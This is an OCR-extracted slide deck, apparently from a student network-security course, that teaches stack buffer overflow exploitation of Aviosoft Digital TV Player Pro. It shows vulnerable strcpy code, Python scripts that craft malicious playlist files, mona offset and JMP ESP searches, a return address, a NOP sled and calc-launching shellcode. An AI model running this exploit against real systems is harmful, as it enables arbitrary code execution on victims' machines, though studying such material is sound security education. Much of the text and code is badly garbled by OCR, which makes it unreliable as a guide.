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» Bufifer Overflow?

» Copying source bufferinto
destination buffer could result in
overflow when

» Source string length is greater than
destination string length.

Stack Based buffer Overflow?

» A pigce of the process memory

t-In-First-Out (LIFO) mechanism to
ss arguments to functions and refer
e local variables

» /|t acts like a buffer
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Before we proceed — some theory

Sample vulnerable C code
#include <string.h>

void do_something(char *Buffer)
{

char MyVar[40];

strcpy(MyVar, Buffer);

}

iNt main (int argc, char **argv)

{
do_something(argv[1]);

}



Before we proceed — some theory

void do_something(char
*Buffer)

» Stack {

= ESP : pointing fo top of stack (lowest address) chantiicyERE

t Var, Buffer);
» EBP : pointing to the base (highest address) of the STrepyIMyM SIS

current invocation frame }
» F|P :holds the address of the next instruction to be R
executed Esp
. . . (Top of stack) ->
» Created atf the beginning of the execution of
function and released at the end of it. <space for MyVars
= Stapdard Entry Sequence ap
(Frame pointer) ->
PUSH EBP; save the value of EBP Saved EBP
» MOV EBP, ESP ; EBP now pointsto the top of the stack R
» sub ESP, X; space allocated on the stack for thelocal R
variables

OxFFFFFFFF
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Before overflow

void do_something(char
*Buffer)

{
char MyVar[40];

strcpy function

» Thisfunctionwillread data, from

the address pointed to by [Buffer]

- strcpy(MyVar, Buffer);
» And store it in <space for MyVar>,

reading all data unfil it sees a null : g
byte (string terminator).

ESP
(Top of stack) -»

» The strepy() does not use PUSH sy e
instryctions to put data on the P
STO |< AAAAND

» |ybasicallyreads a byte and
rites it to the stack.

EBP
(Frame pointer) -»

Saved EBP

SavedEIP

ptrto argv[1]
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e data in [Buffer] is somewhatlonger
than 0x40 bytes , the strcpy() willoverwrite
saved EBP and eventuallysaved EIP (and
SO on).

Both EIP and EBP addresses are
overwritten by AAAA (0x41414141)

We controlled EIP

=T

cIF 41414141

After overflow

void do_something(char
*Buffer)

{
char MyVar[40];

strcpy(MyVar, Buffer);

} 0x00000000
ESP
(Top of stack) ->
AAAA
AAAA
AAAA
EBP
(Frame pointer) ->
SavedEBR AAAA
Stre writes
SexedEIR AAAA trepy()
this way
v
pretoargei AAAA

OXFFFFFFFF
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Real scenario

A stack based buffer overflow vulnerability foundin Aviosoft Digital TV
Player Pro version 1.x.

» An overflow occurswhen the process copiesthe content of a playlist file
on to the stack, which may result arbitrary code execution under the
context of the user.

» CVE-N/A

» hitps://mwww.rapid/7.com/db/modules/exploit/windows/fileformat/aviosof

= Black Box approach

=» Debugging
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https://www.exploit-db.com/exploits/22932/

tack Based Buffer Overtlow- Exploit wrifing

at we need?
» Windows XP SP3 (OS)
= Debugger — Immunity
= Python
»  Aviosoft Digital TV Player Professional
» Overflows (Stack Overflows)

= Whep such an overflow occurs there are two things we are looking for;

Our buffer needs to ov erwrite EIP (Current Instruction Pointer)

» One of the CPU registers needs to contain our buffer
= How does it work
Trigger vulnerabillity
®» Determine the buffer size
» Fnd EIP (JMP to ESP)

» Execute shellcode (calc popup)
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Trigger vulnerabllity (l)

» All python scripts are found on _

exploit

Desktop in side exploit folder I
Help
» The simple crash script (01.0Y): & [ rodes | [ | @ rocer syme
1 Cwwneri Deskbopiexploit j
2 impor it Pvthon Filed Pvthon Fil
4 file=" me01. PLF" A 1\);<E=DrI _____ | E A SYKBDH -
£ print "Creating Stack BOF exXpoit. Yyn"
[ f=open(file, "u™) 03, pry _ 04 pey _
mufE="TAT * 1000 ﬂ TY;'B'IDI'I FI|E ﬂ Tl:l;ng-an FI|E
excplait, oy manascrpk
Prython Fil Fil
A 2\);:59” - IIEB

Text Document

"'""‘"’] shellcode. bxt
1kKE

print "File cannot bhe created
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Trigger vulnerabillity (ll)

- Run the python script
®» Open tferminal (Start ->run ->"cmd”-> Enfer
» Go fo exploit folder (cd Desktop\exploit)
= Run the python ( python 01.py)

e CWWINDOWS' system32 cmd.exe

Microzoft Windows HP [Version 5.1.26801
(G Copyright 1785-2881 Microsoft Corp.

C:xDocuments and SettingssOwner>cd Desktop

C:sDocuments and SettingssOwnersDesktoprcd exploit

C:sDocuments and SettingssOwnersDesktopsexploitrpython B1.py
Creating Stack BOF expoit.

PLF File created

C:xDocuments and SettingssOunersDeszktopsexploitl

It will create "crash-meO01.PLF" file.




Trigger vulnerability (lll)

= Now open “crash-meOQ1.PLF" with Aviosoft DTV Player
= Start Aviosoft DTV Player

Aviosoft

DTV Player Professional ==g

To unlock, click 5659.95
Immediate online delivery available

Click to buy Aviosoft DTY Player Pro

EJL Aviosoft DTY Player Pro evaluation expired, please purchase a copy of Aviosoft DTY Player

f Prol
Irnrnunity

Debugger ]

Register! Buy Now I Later l Help

Press Later to use 14-days trial version
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Trigger vulnerabillity (V)

tart Immunity debugger from desktop
= Go to file->attach

O T E X b |l MY+ 1l emtwhcPkbzor..s

Select process to attach

W indow Fath -

MHame Service Listening
= TCF: 1828

P UDP: SBEA 458E
ual

Te!
TCP:
Exrow| LOF:

Remot UOF:

Hidden TRAutoConnectll indow

m M T

L=

Attach I Eanel |

LIMSwitchlUserContralTit le

Select Aviosoft DTV Player from the process list

Clickon >>Attach

And finally Click on debug->Run (on the top left of the debugger
window)



Trigger vulnerabillity (V)

Right Click Hgre >>Play From >> Open Playlist>>Open crash-me01.PLF

Aviosoft DTV P.ayer PRO

- | crash-rme01,PLF
Play: Fraom

Play DWD from Hard Disk. .
v Flay Media Files. ..
Play Photos as Silde Show, ..

Show Floating Panel. ..

Options. ..

Purchase & Reqister
Check For updates. ..
Help

About...

Open Playlist. ..

Exit

File name: Icrash-me[ﬂ PLF j
Files of type: IF'Ia_I,IIist File[*.PLF *5L5] | Cancel |

en crash-me01.PLF file from exploit folder
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Trigger vulnerabllity (VI)

= |{'s finally crashed and we saw ESP and EIP registers contains
"AAAAAAAA..." :

Registers [FFU] < < £ <

{ FFEFFFFF
{ FFFFFFFF

[ FFFFFFFF ]
[ FFFFFFFF)
FFOEBRE]FFF)

= ¢learlyindicating that we control EIP whichis mean the crash isreally
exploitable (Explaining later!)

= [ Now itis fime to find how many bytes the stack requiring for getting
overwritten EIP.

We already know the application crashed since we sent 1000 Bytes
junk.




Determining the bufter size to write exactly into EIP (l)

First let’s set our default working folder for Mona:

Imona config-set workingfolder C:\Documents and
Settings\Owner\Desktop\exploit\mona\%p

[ I fFrode > mewcrt._ o EFL B@@aaazdes (MO N HE r E N EE
ML
MaL

FaL)
Mo
MaL E
HMal)
rat

P oMo i meuvcrt. — P

-
[N Y]

SUCRT. __setuserma msucrt._ set

Imona config -set workingfolder CA\Documents and Settings\OwnenDesktop\exploitimonal®ep

AaAluvzino Avin=znft: GL henwi=ztical nwoecedure=_. 236 callzs £t knnevn. B ralls 0 one



Determining the buffer size to write exactly into EIP (ll)

» |n order to find the exact location of EIP, we'll use mona script from
immunity debugger commandline.

» Imonapattern_create 1000 (If willgenerate a string that contains
unique patterns.)

®» |t just created a filein C:\Documents and
Seﬂings\Owner\Desktop\exploii\monq\AviosoftDTV called

IFHAL| Lreat lng cocllc pattern of lWHW pufes
:DF””D H:I”H:|1H"-"H":'|:|'4H:|EH:I"H:I|'H":'H'"Ht”Ht1Ht':'Ht'::HtI4HtIEHtIFHtll Ab3AbIACEAC 1 Ac2Ac3Ac4ACEAcEAS Y ACSA:2AdBAD 1 Ad2Ad3Ad4ASAdERD TRDSA A=A

- th.-hran: lHJleh C: Dﬁuun=nti and SettingssOwnersOesktopsesploit monasAuiosof tOTUpattern. tut

[+] This mona.py action took B:@E:80, 283868

Il 5b]1-E0B4  41386E41 Hned




Determining the buffer size to write exactly into EIP (lll)
open 02.py script with notepad++ and edit in the following way.

import =vs
impor
import struct
file="c 1—tmelds . PLF™
print "Creating 3tack BOF expoit. o™
f=open(fi
buff="ialigligiigiigdiaslanbka7hadhgldh0il
Btry:
f.write (buff)
f.closel)
print "PLF File created™
Eexcept:
print "File cannot he created™

LMHFI FathFindFil
CII "Ji2Aj4AI5AIEA SAkEAkK 1Ak 2Ak 2Rk 4

diaFla.64B857EEC

/it BIFFFFFFFF)
/it BIFFFFFFFF)

with debugger) . So the application crashed again but withh mona's Cycling
pattern instead "AAAAAA..." .



Determining the buffer size to write exactly into EIP (V)

» Imona pc’r’rem offset 37694136 L import sys

import

import =

I_ﬂpHnlIllP "ﬂ"l

iwe need to figure out the exact bytes to overwrite EIP using mona.

1
5 [ huff="4A" * 260 # Found by mona
L EIF="EEEE" #4 Z to overwrite EIP =
E buffa="ct * 736 # later will replace v
L UpPETCasE] Erry:
Lt f.write (buff+EIP+hbuffs)
f.closel)
t "PLF File created"”
Ilmuna pattern_offset 37694136 .. f:“* 1le creats
2EXCED
|3]’|Dl.\.l patches (Ctrl+P) £ print "File cannot ke l:LEEtt-El:l"i

e need 260 bytes to overwrite stack and we need more 4 bytes to overwrite
IP (260+4=264 bytes)

»/ Once again lets open 03.py python script with notepad++ and modify line 7, 8
and 9 as shown in the above python scripf.

Replace the patter with 260 bytes "A" and more 4 bytes to overwrite EIP with
"BBBB" then 736 bytes (1000-264). If first junk(260 bytes) length is okay then EIP
will be "BBBB"=>0x42424242.




Determining the buffer size to write exactly into EIP (V)

EIP is 42424242=BBBB and ESP(Stack Pointer) is contains CCCC..

» |nImmunity debugger, you can see the contents of the stack at ESP by looking at the
lowerright hand window.

But here we can see another problem that after EIP some "CCCC":

J FFPL < < < < < < < < < < <

it @BiFFFFFFFF}
it BiFFFFFFFF)
it BiFFFFFFFF)
it BIFFFFFFFE)
PFFOE@GE!FFF)

41414141
41414141

- e really need to jump overthese nasty junk.




Sum up

» Our exploit bufferso far looks like this:

Buffer EIP Junk ESP

v
A* 260 BBBB CCCCCCCC--C CCCCCCCCcccccocccce—--cC
414141414141 — 41 | 42424242 | 4343434343 —43 [}43434343434343434343—43
260 bytes 4 bytes 16 bytes

» We need to find the right EIP address to redirect our executionin to ESP
address.

= Qur Next goal willbe:
» Replacing "BBBB" with valid pointer(Pointer to ESP and ESP will hold shellcode)
» Solving an(CCCC... after EIP) easy problem.
» Replacing "CCCCCC..." with real shellcode.

Group 13




Find EIP()

e are going to find EIP from application's DLL (Aviosoft DTV)
» We use mona => lmon(] jmp - eSp (Be patient it willtake 1 min searching JMP EIP )

» |t will create a file called "mp.txt" in *.\mona\AviosoftDTV" and which
contains following possible addresses:

» Here we use 0xé411a7ab address which is found in line 223 (when we open
the mp.txt file using notepad++)

=» You can search (Ctrl + g) line number

o jmpabd 5/4/2016 2:23 PM Text Document 71 KB

M S e | = e T I P I i 1 T 12 D

o CA\Users\anonymous\Desktop\masters course resource\2nd semester\Netwaork Security\projects\s
File Edit Search VYiew Encoding Language Settings Macre Run  Plugins  Window 7
cHHBRLE|lshhloe k| xx B3 ST [EENIENNE| =G

[=] =chedule himl JI = team himl JI [=] main_image gif JI [=] cleaning html Jl [=] Helpling htm Jl =] common js Jl [= indez html Jl [& Link+code bd Jl = iqueryis Jl
222 0x64119bc3 : jmp esp | {PAGE EXECUTE READWRITE} [NetReg.dll] ASLR: False
023 0x641la7ab : jmp esp | {PAGE EXECUTE READWRITE} [NetReg.dll] ASLR: False
224 0x73e92fef : jmp esp | {PRGE_EXECUTE_REEDWRITE} [MFC42.DLL] ASLR: False,
225 0x73e932e3 : jmp esp | {PAGE:EXECUTE:REQDWRITE} [MFC42.DLL] ASLR: False,
|
|
|

226 0x73e%6ba3 : jmp esp {PAGE EXECUTE READWRITE} [MFC4Z.DLL] ASLR: False,
227 0x73e98347 : jmp esp {PAGE EXECUTE READWRITE} [MFC4Z.DLL] ASLR: False,
228 0x73e98643 : jmp esp {PAGE EXECUTE READWRITE} [MFC42.DLL] ASLR: False,
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Find EIP(II)

we need to modify the script replace the address in EIP variable
instead "BBBB".

» Open 04.py with notepad++ and edit line 8 and 9 as follows:

file="crash-wel0l . PLF" #Creat an File
print "Creating Stack BOF expoit. ''n'"
f=openifi |

bhuff="4a

n ¢ Jjmp esp | {PAGE EXECUTE READWRITE} [NetReg.dll] ASLR: False,

J Player FProb 7.cdll)

» We/should remember that windows uses little endian notation , means we
nged reverse the address so EIP should become
O0x6411a7ab=>"\xab\xa7\x11\xé4".

» /Rememberthat there was a nasty junk b/n EIP and ESP now we filled with 100
nop (0x?0 no opration just to pass the execution ....)

It's good idea to use some nops (0x?0) before and after our shellocde.
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Verify JMP EIP(])

'Run the 04.py script (python 04.py)

Sefting breakpoint at EIP address 0xé6411a7ab fo make sure that our exploit is
reaching to the right address.

Run the application through debugger

» Right click>>Go to >>Expression
NGy r
Bssemble Space
Label
o : x|
Add Header -
Modify variable J
Breakpoink »
Hit trace b ] Cancel |
Run trace g

P 2 wu T

Mew arigin here Chrl+iGray *

Thread k
Follow in Dump »

YWiew call tree Chrl-HE i i

Previous procedure  Crrl+-Minus
Search fFor r Mexk procedure Ckrl+Plus
Find references to r

When new window will pop up , search the EIP address



Verify JMP EIP(Il)

OW press F2. It may warn you about break pointing to this address but
you can ignore the warning

» Now open crash-me04.PLF with debugger

. % <. . % . <. kY %, % <.

ESF
EE
ES
E

E

it BIFFFFFFFF)
it BUFFEEFFFF)

oMo

» We notice that EIP contains our correct address as expected

» hat is next?e

» | ef's put real shellcode instead "CCCCCCCCCC---“

» Since ESP contains “CCCC ---" we put our shellcode in ESP




Execute shellcode

s calc pop up shellcode inside your working directory called
cncode.ixt” open it

» | Open exploit.py and copy paste your shellocdeinline 9.

®» Run expoit.py script (python exploit.py)
It will create “exploit-me.PLF", open it with AviSoft DTV and it will execute

calc.exe
N IDI] rovrees _root
Aviosoft DTV Player PRO Edit View Help ‘ﬁ‘ -
— I 0 - 7 Sean
™ ruments and Settings'(
Play fram b I Backspace CE | C
Show Floating Panel. .. Play DMD From Hart F Tasks =
Play Media Files. .. MLC 7 a g Z st
Options. .. v Play Media Files . g Folder
Play Photos as Sild:
. - folder to the
Purchase & Register o——— MR 4 ] B %
Cpen Playlist. ..
Check for updates. .. P - alder
. P M5 1 2 7 : 14
P+ o +- . + = Py

Desklop

Game Overllll
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For More details

= Nofes: -

» Exploit writing is much more about research. Without researching it is not
possible to be an exploit writer.

» |f you want to learn more about exploit development(in details):

» Nhitps://www.fuzzysecurity.com

» hitps://www.corelan.be

» /Nitps://www.exploit-db.com

Questions?e
E-mail: vulnexplo@gmail.com
Thank youll!
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